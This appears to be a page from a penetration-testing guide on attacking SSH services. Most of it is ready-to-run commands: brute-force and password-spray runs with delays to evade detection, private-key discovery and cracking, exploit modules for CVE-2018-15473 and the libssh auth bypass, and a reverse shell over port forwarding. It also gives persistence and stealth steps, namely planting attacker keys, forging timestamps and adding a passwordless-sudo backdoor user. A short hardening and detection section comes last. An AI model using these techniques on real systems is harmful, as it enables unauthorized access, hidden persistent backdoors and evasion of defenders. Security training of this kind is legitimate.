SSH Service Attacks and Exploitation
Comprehensive SSH attack techniques including password brute-force, key-based attacks, tunneling, port forwarding, and session hijacking methods.
Introduction
Secure Shell (SSH) is a cryptographic network protocol for secure remote system administration and file transfers over unsecured networks. Originally designed as a secure replacement for Telnet and rsh, SSH has become the de facto standard for remote access to Linux/Unix systems and network devices.
Despite its security-focused design, SSH implementations and configurations remain vulnerable to various attacks:
- Weak credentials: Default or easily guessed passwords
- Exposed private keys: SSH keys with inadequate protection
- Misconfigured services: Overly permissive settings and authentication methods
- Outdated versions: Known vulnerabilities in older SSH implementations
- User enumeration: Information disclosure through timing attacks
- Cryptographic weaknesses: Deprecated algorithms and weak key exchanges
Why SSH Remains a Priority Target
SSH is ubiquitous in modern infrastructure, making it a high-value target for attackers:
- Universal deployment: Present on virtually all Linux/Unix servers
- Privileged access: Direct root or administrator access when compromised
- Pivoting capabilities: Port forwarding and tunneling for lateral movement
- Persistence mechanism: SSH keys provide long-term backdoor access
- Internet-exposed: Frequently accessible from external networks
- Cloud environments: Primary access method for cloud instances (AWS, Azure, GCP)
Successful SSH compromise often represents full system compromise, making it a critical focus for both attackers and defenders.
Technical Background
SSH Protocol Architecture
SSH operates on a layered protocol structure:
Transport Layer (SSH-TRANS):
- Provides server authentication
- Establishes encryption and integrity
- Supports key exchange and algorithm negotiation
- Default port: TCP/22
User Authentication Layer (SSH-USERAUTH):
- Handles client authentication
- Supports multiple authentication methods
- Validates user credentials
Connection Layer (SSH-CONN):
- Multiplexes encrypted tunnel
- Provides channel management
- Supports port forwarding, X11 forwarding, agent forwarding
Authentication Methods
| Method | Description | Security Considerations |
|---|---|---|
| Password | Traditional username/password | Vulnerable to brute-force |
| Public Key | Asymmetric key pair authentication | Secure if keys protected |
| Host-based | Authenticates based on client hostname | Rarely used, spoofable |
| Keyboard-interactive | Challenge-response (e.g., OTP) | Strong with MFA |
| GSSAPI | Kerberos-based authentication | Complex, enterprise environments |
| Certificate | SSH certificate authorities | Most secure, least common |
SSH Key Types and Strengths
| Algorithm | Key Size | Security Level | Notes |
|---|---|---|---|
| RSA | 2048-4096 bits | Adequate-Strong | Most compatible |
| Ed25519 | 256 bits | Very Strong | Modern, recommended |
| ECDSA | 256-521 bits | Strong | Avoid 256-bit (NSA concerns) |
| DSA | 1024 bits | Weak | Deprecated, avoid |
Common SSH Configurations
Client Configuration (~/.ssh/config):
Host example
HostName 10.10.11.45
User admin
Port 2222
IdentityFile ~/.ssh/id_rsa
ProxyJump bastion.example.comServer Configuration (/etc/ssh/sshd_config):
Port 22
PermitRootLogin no
PasswordAuthentication yes
PubkeyAuthentication yes
PermitEmptyPasswords no
MaxAuthTries 3
AllowUsers admin backupEnumeration
Banner Grabbing and Version Detection
Identify SSH service version for vulnerability research:
# Using Netcat
nc 10.10.11.45 22
# Using Telnet
telnet 10.10.11.45 22
# Using Nmap
nmap -p 22 -sV 10.10.11.45
# Using ssh-keyscan
ssh-keyscan 10.10.11.45
# Using Python
python3 -c 'import socket; s=socket.socket(); s.connect(("10.10.11.45",22)); print(s.recv(1024))'Example Output:
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
SSH-2.0-OpenSSH_7.4
SSH-2.0-libssh_0.9.6Nmap SSH Enumeration
# Comprehensive SSH scan
nmap -p 22 -sV -sC --script=ssh* 10.10.11.45
# Specific useful scripts
nmap -p 22 --script ssh2-enum-algos 10.10.11.45
nmap -p 22 --script ssh-hostkey 10.10.11.45
nmap -p 22 --script ssh-auth-methods 10.10.11.45
nmap -p 22 --script ssh-brute 10.10.11.45
# Check for weak encryption
nmap -p 22 --script ssh2-enum-algos 10.10.11.45 | grep -E "arcfour|cbc"Useful NSE Scripts:
ssh2-enum-algos: List supported encryption algorithmsssh-auth-methods: Enumerate authentication methods for userssh-hostkey: Retrieve SSH host keyssh-brute: Brute-force SSH credentialssshv1: Detect deprecated SSHv1 protocolssh-publickey-acceptance: Test if server accepts public keys
SSH Audit Tool
ssh-audit provides comprehensive security analysis:
# Install
sudo apt install ssh-audit
# Audit SSH server
ssh-audit 10.10.11.45
# Audit specific port
ssh-audit -p 2222 10.10.11.45
# JSON output
ssh-audit -j 10.10.11.45 > ssh-audit.jsonOutput Example:
[0;91m(key) ssh-rsa (1024-bit) -- [fail] using broken SHA-1 hash algorithm
[0;91m(key) ssh-rsa (1024-bit) -- [fail] key size is insufficient
[0;33m(enc) 3des-cbc -- [warn] using weak cipher
[0;33m(mac) hmac-md5 -- [warn] using weak hashing algorithmUser Enumeration
Timing-based User Enumeration:
# Using Metasploit
msfconsole
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run
# Manual timing analysis
time ssh [email protected]
time ssh [email protected]
# Compare response times - valid users typically respond slowerUser Enumeration Limitations
Many modern SSH implementations have patched timing-based user enumeration. OpenSSH 7.7+ includes mitigations that equalize response times for valid and invalid users.
Exploitation Techniques
Password Brute-Force Attacks
Prepare Wordlists
# Common wordlists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/metasploit/unix_passwords.txt
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
# Generate custom wordlist
crunch 8 8 -t admin@@@ > passwords.txt
# Use cewl for target-specific wordlist
cewl https://company.com -w wordlist.txtHydra Brute-Force
# Single username
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.45
# User list
hydra -L users.txt -P passwords.txt ssh://10.10.11.45
# Specific port
hydra -l admin -P passwords.txt -s 2222 ssh://10.10.11.45
# Faster execution (use cautiously)
hydra -l admin -P passwords.txt -t 4 ssh://10.10.11.45
# Stop after first success
hydra -l admin -P passwords.txt -f ssh://10.10.11.45
# With verbose output
hydra -l admin -P passwords.txt -V ssh://10.10.11.45Medusa Brute-Force
# Basic attack
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh
# Multiple users
medusa -h 10.10.11.45 -U users.txt -P passwords.txt -M ssh
# Threading control
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh -t 4
# Verbose mode
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh -v 6
# Stop on first success
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh -fMetasploit SSH Login Scanner
msfconsole
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME admin
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
msf6 auxiliary(scanner/ssh/ssh_login) > runBrute-Force Detection and Prevention
Modern SSH servers implement fail2ban, rate limiting, and account lockouts. Password spraying (one password across many accounts) is more effective:
# Password spray with Hydra
hydra -L users.txt -p Welcome123! ssh://10.10.11.45
# Spray with delays to avoid detection
for user in $(cat users.txt); do hydra -l $user -p Welcome123! ssh://10.10.11.45; sleep 300; doneSSH Key-Based Attacks
Private Key Discovery
# Search for SSH private keys
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find / -name "*.pem" 2>/dev/null
# Common locations
~/.ssh/id_rsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa
# Search in web directories
find /var/www -name "*.pem" -o -name "id_rsa" 2>/dev/null
# Check backups
find /var/backups -name "*.key" -o -name "id_*" 2>/dev/nullSSH Key Permissions
Proper SSH key permissions are critical:
# Correct permissions
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pub
chmod 644 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/config
# Fix all SSH permissions at once
chmod 700 ~/.ssh && chmod 600 ~/.ssh/* && chmod 644 ~/.ssh/*.pubUsing Discovered Private Keys
# Basic connection
ssh -i id_rsa [email protected]
# If key has wrong permissions
chmod 600 id_rsa
ssh -i id_rsa [email protected]
# Bypass strict host key checking
ssh -i id_rsa -o StrictHostKeyChecking=no [email protected]
# Verbose connection for debugging
ssh -i id_rsa -v [email protected]Cracking Encrypted Private Keys
# Convert SSH key to John format
ssh2john id_rsa > id_rsa.hash
# Crack with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
# Show cracked password
john --show id_rsa.hash
# Use cracked passphrase
ssh -i id_rsa [email protected]
# Enter passphrase when promptedSSH Tunneling and Port Forwarding
SSH's tunneling capabilities are powerful for pivoting and accessing internal networks.
Local Port Forwarding
Forward local port to remote destination through SSH:
# Basic local forward
ssh -L 8080:localhost:80 [email protected]
# Access internal web server
ssh -L 8080:192.168.1.100:80 [email protected]
# Then browse to: http://localhost:8080
# Multiple port forwards
ssh -L 8080:localhost:80 -L 3306:192.168.1.50:3306 [email protected]
# Forward to different destination
ssh -L 5901:10.10.10.100:5900 [email protected]
# Bind to all interfaces (dangerous)
ssh -L 0.0.0.0:8080:localhost:80 [email protected]Remote Port Forwarding
Forward remote port back to local machine:
# Basic remote forward
ssh -R 8080:localhost:80 [email protected]
# Expose local service to remote network
ssh -R 9001:localhost:9001 [email protected]
# Reverse shell through SSH
ssh -R 4444:localhost:4444 [email protected]
# Then nc -lvnp 4444 locallyDynamic Port Forwarding (SOCKS Proxy)
Create SOCKS proxy for proxying traffic:
# Create SOCKS5 proxy on port 1080
ssh -D 1080 [email protected]
# Specify bind address
ssh -D 127.0.0.1:1080 [email protected]
# Use with proxychains
# Edit /etc/proxychains4.conf: socks5 127.0.0.1 1080
proxychains nmap -sT 192.168.1.0/24
# Use with Firefox
# Settings → Network → Manual Proxy → SOCKS Host: 127.0.0.1, Port: 1080SSH Jump/Bastion Hosts
# ProxyJump (OpenSSH 7.3+)
ssh -J bastion.example.com [email protected]
# Multiple jumps
ssh -J bastion1,bastion2 [email protected]
# ProxyCommand (older method)
ssh -o ProxyCommand="ssh -W %h:%p bastion.example.com" [email protected]Known SSH Vulnerabilities
OpenSSH Username Enumeration (CVE-2018-15473)
# Using Metasploit
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > exploit
# Using Python script
git clone https://github.com/epi052/cve-2018-15473.git
cd cve-2018-15473
python3 ssh-username-enum.py --port 22 --userList users.txt 10.10.11.45Affected Versions: OpenSSH < 7.7
LibSSH Authentication Bypass (CVE-2018-10933)
# Using Metasploit
msf6 > use auxiliary/scanner/ssh/libssh_auth_bypass
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > set SPAWN_PTY true
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > runAffected Versions: libssh 0.6.0 - 0.7.5, 0.8.0 - 0.8.3
Terrapin Attack (CVE-2023-48795)
Prefix truncation attack against SSH protocol:
# Check if server is vulnerable
ssh-audit 10.10.11.45 | grep -i "terrapin"
# Mitigation: Update to OpenSSH 9.6+ or disable affected algorithmsPost-Exploitation
Persistence via SSH Keys
Generate SSH Key Pair
# Generate Ed25519 key (recommended)
ssh-keygen -t ed25519 -f ./backdoor_key -N ""
# Generate RSA key (more compatible)
ssh-keygen -t rsa -b 4096 -f ./backdoor_key -N ""
# Generate with comment
ssh-keygen -t ed25519 -f ./backdoor_key -C "legit-admin-key" -N ""Install Public Key on Target
# Append to authorized_keys
echo "ssh-ed25519 AAAAC3Nza... attacker@kali" >> ~/.ssh/authorized_keys
# Create .ssh directory if needed
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "ssh-ed25519 AAAAC3Nza... legit-admin" > ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# For root persistence
echo "ssh-ed25519 AAAAC3Nza... backup-key" >> /root/.ssh/authorized_keysTest Backdoor Access
# Connect with private key
ssh -i backdoor_key [email protected]
# Verify persistent access
ssh -i backdoor_key [email protected]Stealth Considerations
# Use legitimate-looking key comment
ssh-keygen -t ed25519 -C "user@workstation" -N ""
# Hide in unusual authorized_keys locations
echo "ssh-ed25519 ..." >> ~/.ssh/authorized_keys2
# Modify timestamps to match
touch -r /etc/passwd ~/.ssh/authorized_keysSSH Configuration Manipulation
# Modify sshd_config for persistence
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
systemctl restart sshd
# Add backdoor user
useradd -m -s /bin/bash backdoor
echo "backdoor:P@ssw0rd123!" | chpasswd
usermod -aG sudo backdoor
# Allow without password
echo "backdoor ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoersFile Transfer via SSH
# SCP - Secure Copy
scp file.txt [email protected]:/tmp/
scp [email protected]:/etc/passwd ./
scp -r /local/dir [email protected]:/remote/dir
# SFTP - Secure FTP
sftp [email protected]
sftp> put local_file.txt
sftp> get remote_file.txt
sftp> mput *.txt
sftp> mget *.log
# Rsync over SSH
rsync -avz -e ssh /local/dir [email protected]:/remote/dirDetection and Defense
Monitoring SSH Activity
Key Log Files:
# Authentication logs
/var/log/auth.log (Debian/Ubuntu)
/var/log/secure (RHEL/CentOS)
# SSH daemon logs
journalctl -u sshd
# Real-time monitoring
tail -f /var/log/auth.log | grep sshd
# Failed login attempts
grep "Failed password" /var/log/auth.log
# Successful logins
grep "Accepted" /var/log/auth.log
# Brute-force detection
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nHardening SSH Configuration
Recommended /etc/ssh/sshd_config Settings:
# Disable root login
PermitRootLogin no
# Disable password authentication (key-only)
PasswordAuthentication no
PermitEmptyPasswords no
# Limit authentication attempts
MaxAuthTries 3
# Enable public key authentication
PubkeyAuthentication yes
# Disable unused authentication methods
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no
# Use strong ciphers only
Ciphers [email protected],[email protected],[email protected],aes256-ctr,aes192-ctr,aes128-ctr
# Use strong MACs
MACs [email protected],[email protected],hmac-sha2-512,hmac-sha2-256
# Use strong key exchange algorithms
KexAlgorithms curve25519-sha256,[email protected],diffie-hellman-group16-sha512,diffie-hellman-group18-sha512
# Limit users and groups
AllowUsers admin backup
AllowGroups ssh-users
# Change default port (security through obscurity)
Port 2222
# Disable X11 forwarding
X11Forwarding no
# Disable TCP forwarding
AllowTcpForwarding no
# Log more information
LogLevel VERBOSE
# Connection limits
MaxSessions 2
MaxStartups 2:30:10
# Client alive interval (prevent hung sessions)
ClientAliveInterval 300
ClientAliveCountMax 0
# Use protocol 2 only
Protocol 2Fail2ban Configuration
# Install fail2ban
sudo apt install fail2ban
# Configure SSH jail (/etc/fail2ban/jail.local)
[sshd]
enabled = true
port = 22
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600
# Start and enable
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
# Check banned IPs
sudo fail2ban-client status sshdTwo-Factor Authentication
# Install Google Authenticator
sudo apt install libpam-google-authenticator
# Configure for user
google-authenticator
# Edit /etc/pam.d/sshd
auth required pam_google_authenticator.so
# Edit /etc/ssh/sshd_config
ChallengeResponseAuthentication yes
# Restart SSH
sudo systemctl restart sshdReferences
Last updated on
SQL Database Service Attacks and Exploitation
Database attack guide for MySQL and MSSQL covering authentication attacks, xp_cmdshell exploitation, hash stealing, impersonation, and linked servers.
WebDAV Service Attacks and Exploitation
WebDAV exploitation techniques including HTTP method abuse, file upload attacks, IIS extension bypass vulnerabilities, and authenticated access exploitation.